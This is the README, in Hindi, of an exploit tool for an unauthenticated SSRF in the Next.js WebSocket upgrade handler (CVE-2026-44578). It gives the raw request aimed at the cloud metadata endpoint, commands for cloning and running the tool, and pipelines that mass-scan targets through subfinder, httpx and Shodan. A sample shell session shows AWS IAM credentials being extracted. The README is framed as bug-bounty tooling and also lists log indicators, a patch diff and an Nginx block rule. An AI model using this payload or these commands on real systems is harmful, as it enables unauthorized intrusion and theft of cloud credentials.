
CVE-2026-44578 स्कैनर और Next.js WebSocket अपग्रेड हैंडलर में SSRF के लिए एक्सप्लॉइट टूल। असुरक्षित संस्करणों का पता लगाता है, क्लाउड मेटाडेटा निकालता है, और इंटरैक्टिव शेल के माध्यम से IAM क्रेडेंशियल्स बाहर निकालता है।
╔══════════════════════════════════════════════════════════════╗
║ NextSSRF — CVE-2026-44578 Scanner & Exploit ║
║ Next.js WebSocket Upgrade Handler SSRF ║
║ Affected: 13.4.13 → 15.5.15, 16.0.0 → 16.2.4 ║
║ @mitsec / ynsmroztas — Bug Bounty Tooling ║
╚══════════════════════════════════════════════════════════════╝
CVE-2026-44578 — Next.js WebSocket Upgrade Handler के माध्यम से सर्वर-साइड रिक्वेस्ट फोर्जरी
अवलोकन · इंस्टॉल · उपयोग · पाइपलाइन · Shodan · इंटरैक्टिव · अस्वीकरण
11 मई 2026 को, Vercel ने CVE-2026-44578 (CVSS 8.6) को पैच किया: यह Next.js के WebSocket upgrade handler में एक बिना प्रमाणीकरण वाला SSRF था, जो 13.4.13 से शुरू होने वाले सभी self-hosted डिप्लॉयमेंट को प्रभावित करता था।
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1 ← absolute-form URI
Host: vulnerable-nextjs.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
http:// में मौजूद //, normalizeRepeatedSlashes के early-exit को ट्रिगर करता है, जिससे statusCode: 308 और finished: true सेट हो जाता है। असुरक्षित upgrade handler दोनों फ़्लैग को अनदेखा करता है और parsedUrl.protocol truthy होने पर proxyRequest को कॉल करता है — जिससे रिक्वेस्ट attacker-नियंत्रित होस्ट पर पोर्ट 80 पर प्रॉक्सी हो जाती है।
// router-server.ts (vulnerable)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
| उत्पाद | असुरक्षित संस्करण | पैच किया गया संस्करण |
|---|---|---|
| Next.js | 13.4.13 – 15.5.15 | 15.5.16 |
| Next.js | 16.0.0 – 16.2.4 | 16.2.5 |
| Vercel-hosted | ✅ प्रभावित नहीं | N/A |
Upgrade: websocket को 400 के साथ अस्वीकार करता है
CVE-2026-44578 के माध्यम से AWS IMDSv1 क्रेडेंशियल एक्सफ़िलट्रेट किए गए — इंटरैक्टिव एक्सप्लॉइट शेल
git clone https://github.com/ynsmroztas/nextssrf
cd nextssrf
python3 nextssrf.py -t https://target.com
शून्य निर्भरताएँ — केवल Python stdlib। Python 3.10+ आवश्यक है।
python3 nextssrf.py -t https://target.com
# AWS metadata only
python3 nextssrf.py -t https://target.com --cloud aws
# Custom internal target
python3 nextssrf.py -t https://target.com \
--ssrf-host http://internal-api --path /admin
# Deep scan (+ internal services)
python3 nextssrf.py -t https://target.com --cloud aws --deep
# subfinder + httpx + nextssrf
subfinder -d target.com | httpx -silent | \
python3 nextssrf.py --pipe --threads 20 --cloud aws -o results.jsonl
# File input
python3 nextssrf.py -f targets.txt --threads 15 -o results.json
# Force scan (even if version unknown)
python3 nextssrf.py -t https://target.com --force
| कोड | अर्थ |
|---|---|
0 | असुरक्षित नहीं / स्वच्छ |
1 | असुरक्षित (कोई एक्सप्लॉइट नहीं) |
2 | SSRF की पुष्टि हुई |
ऑटो क्लाउड डिटेक्शन और IAM क्रेडेंशियल निष्कर्षण के साथ उन्नत एक्सप्लॉइट शेल:
python3 nextssrf.py -t https://target.com
╔══════════════════════════════════════════════════╗
║ NextSSRF v2 — Interactive Exploit Shell ║
║ Target : ec2-x-x-x-x.compute.amazonaws.com ║
║ CVE : CVE-2026-44578 | Status: Connected ║
╚══════════════════════════════════════════════════╝
nextssrf(ec2-x...)> cloud
[>] Detecting cloud provider...
✓ AWS — matched: ['ami-id', 'instance-id', 'iam/', 'hostname']
→ Run 'aws' for full credential extraction
nextssrf(ec2-x...)> aws
[1/3] Instance Information
[200] Hostname : ip-172-31-47-134.ec2.internal
[200] AZ : us-east-1d
[200] Account ID : {"AccountId": "370741706736"}
[2/3] IAM Role Discovery
✓ IAM Role found: my-ec2-role
[3/3] Credential Extraction
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
🎯 AWS CREDENTIALS EXFILTRATED!
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX
SecretKey : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Expiration : 2026-05-14T22:32:22Z
# Detect cloud + run full exploit chain automatically
python3 nextssrf.py -t https://target.com --auto
# Full recon → exploit pipeline
subfinder -d target.com \
| httpx -silent -server \
| grep -i "next" \
| python3 nextssrf.py --pipe --cloud aws --deep -o findings.jsonl
# Shodan mass scan → interactive on confirmed hosts
python3 shodan_nextjs.py --key KEY --org "TargetCorp" \
| python3 nextssrf.py --pipe --cloud aws -o hits.jsonl
# Check specific version range
cat hosts.txt \
| python3 nextssrf.py --pipe --force --cloud aws \
| jq '.[] | select(.ssrf_hits | length > 0)'
लॉग्स में शोषण के संकेत:
# Next.js process logs
Failed to proxy http:/ ← single slash = normalization fingerprint
# Access logs (absolute-form URI + Upgrade header)
GET http://169.254.169.254/... HTTP/1.1
Connection: Upgrade
Upgrade: websocket
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
return 400;
}
केवल अधिकृत सुरक्षा परीक्षण और बग बाउंटी अनुसंधान के लिए। केवल उन्हीं सिस्टम के विरुद्ध उपयोग करें जिनके स्वामी आप हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति आपके पास है। लेखक दुरुपयोग या अनधिकृत उपयोग के लिए उत्तरदायी नहीं हैं। हमेशा अपने बग बाउंटी प्रोग्राम के जुड़ाव के नियमों का पालन करें।
❤️ के साथ निर्मित @mitsec · ynsmroztas.github.io द्वारा
Intigriti में शीर्ष हैकर · 100+ HOF · 2430+ कमजोरियाँ · 1100+ P1 क्रिटिकल
| कमांड | विवरण |
|---|
cloud | क्लाउड ऑटो-डिटेक्ट करें (AWS/Azure/GCP/DO/OCI) |
aws | पूर्ण AWS IAM क्रेडेंशियल श्रृंखला |
azure | Azure managed identity टोकन |
scan | क्लाउड डिटेक्ट + ऑटो एक्सप्लॉइट |
url <http://> | कस्टम SSRF रिक्वेस्ट |
get <N> | इंडेक्स द्वारा AWS IMDS लक्ष्य |
list | सभी IMDS एंडपॉइंट दिखाएँ |
history | रिक्वेस्ट इतिहास |
save | सत्र को JSON में निर्यात करें |
quit | बाहर निकलें |